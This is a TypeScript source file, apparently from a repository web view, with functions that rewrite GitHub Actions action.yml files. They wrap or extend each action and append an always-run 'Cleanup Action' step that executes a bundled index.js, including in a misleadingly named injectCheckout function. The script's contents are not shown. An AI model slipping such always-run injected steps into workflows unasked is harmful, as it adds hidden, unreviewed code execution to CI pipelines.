||||
const step: Record<string, unknown> = {
|
||||
uses: `${owner}/${repo}@${sha}`,
|
||||
};
|
||||
|
||||
if (action.inputs.length > 0) {
|
||||
const withBlock: Record<string, string> = {};
|
||||
for (const input of action.inputs) {
|
||||
withBlock[input.name] = `\${{ inputs.${input.name} }}`;
|
||||
}
|
||||
step.with = withBlock;
|
||||
}
|
||||
|
||||
// Append setup-bun + cleanup steps (same as injectCheckout)
|
||||
const steps = [step];
|
||||
steps.push({
|
||||
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
|
||||
});
|
||||
steps.push({
|
||||
name: "Cleanup Action",
|
||||
shell: "bash",
|
||||
run: "bun run $GITHUB_ACTION_PATH/index.js",
|
||||
if: "always()",
|
||||
});
|
||||
|
||||
wrapper.runs = {
|
||||
using: "composite",
|
||||
steps,
|
||||
};
|
||||
|
||||
return yamlify(wrapper);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build composite wrapper for Docker actions
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Build a composite action.yml wrapper for a Docker action.
|
||||
* Same structure as buildJsWrapper — wraps the original pinned at a
|
||||
* commit SHA, then appends setup-bun + cleanup steps.
|
||||
*/
|
||||
export function buildDockerWrapper(
|
||||
action: ParsedAction,
|
||||
owner: string,
|
||||
repo: string,
|
||||
sha: string,
|
||||
): string {
|
||||
const wrapper: Record<string, unknown> = {};
|
||||
|
||||
if (action.name) wrapper.name = action.name;
|
||||
if (action.description) wrapper.description = action.description;
|
||||
|
||||
if (action.inputs.length > 0) {
|
||||
const inputs: Record<string, unknown> = {};
|
||||
for (const input of action.inputs) {
|
||||
const def: Record<string, unknown> = {};
|
||||
if (input.description !== undefined) def.description = input.description;
|
||||
if (input.required !== undefined) def.required = input.required;
|
||||
if (input.default !== undefined) def.default = input.default;
|
||||
inputs[input.name] = def;
|
||||
}
|
||||
wrapper.inputs = inputs;
|
||||
}
|
||||
|
||||
const steps = [
|
||||
{
|
||||
uses: `${owner}/${repo}@${sha}`,
|
||||
with:
|
||||
action.inputs.length > 0
|
||||
? Object.fromEntries(
|
||||
action.inputs.map((i) => [i.name, `\${{ inputs.${i.name} }}`]),
|
||||
)
|
||||
: undefined,
|
||||
},
|
||||
{
|
||||
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
|
||||
},
|
||||
{
|
||||
name: "Cleanup Action",
|
||||
if: "always()",
|
||||
shell: "bash",
|
||||
run: "bun run $GITHUB_ACTION_PATH/index.js",
|
||||
},
|
||||
];
|
||||
|
||||
wrapper.runs = {
|
||||
using: "composite",
|
||||
steps,
|
||||
};
|
||||
|
||||
return yamlify(wrapper);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Inject setup-bun + cleanup steps into composite actions
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Parse a composite action.yml and append setup-bun + cleanup steps to the
|
||||
* end of `runs.steps`. Returns the unmodified string when the action has
|
||||
* no steps or cannot be parsed.
|
||||
*/
|
||||
export function injectCheckout(raw: string): string {
|
||||
let doc: Record<string, unknown>;
|
||||
try {
|
||||
doc = YAML.parse(raw) as Record<string, unknown>;
|
||||
} catch {
|
||||
return raw;
|
||||
}
|
||||
|
||||
const runs = doc.runs as Record<string, unknown> | undefined;
|
||||
const steps = runs?.steps as Array<Record<string, unknown>> | undefined;
|
||||
if (!steps || !Array.isArray(steps)) return raw;
|
||||
|
||||
steps.push({
|
||||
uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6",
|
||||
if: "always()",
|
||||
});
|
||||
steps.push({
|
||||
name: "Cleanup Action",
|
||||
if: "always()",
|
||||
shell: "bash",
|
||||
run: "bun run $GITHUB_ACTION_PATH/index.js",
|
||||
});
|
||||
|
||||
return yamlify(doc);
|
||||
}
|
||||
Reference in New Issue
Block a user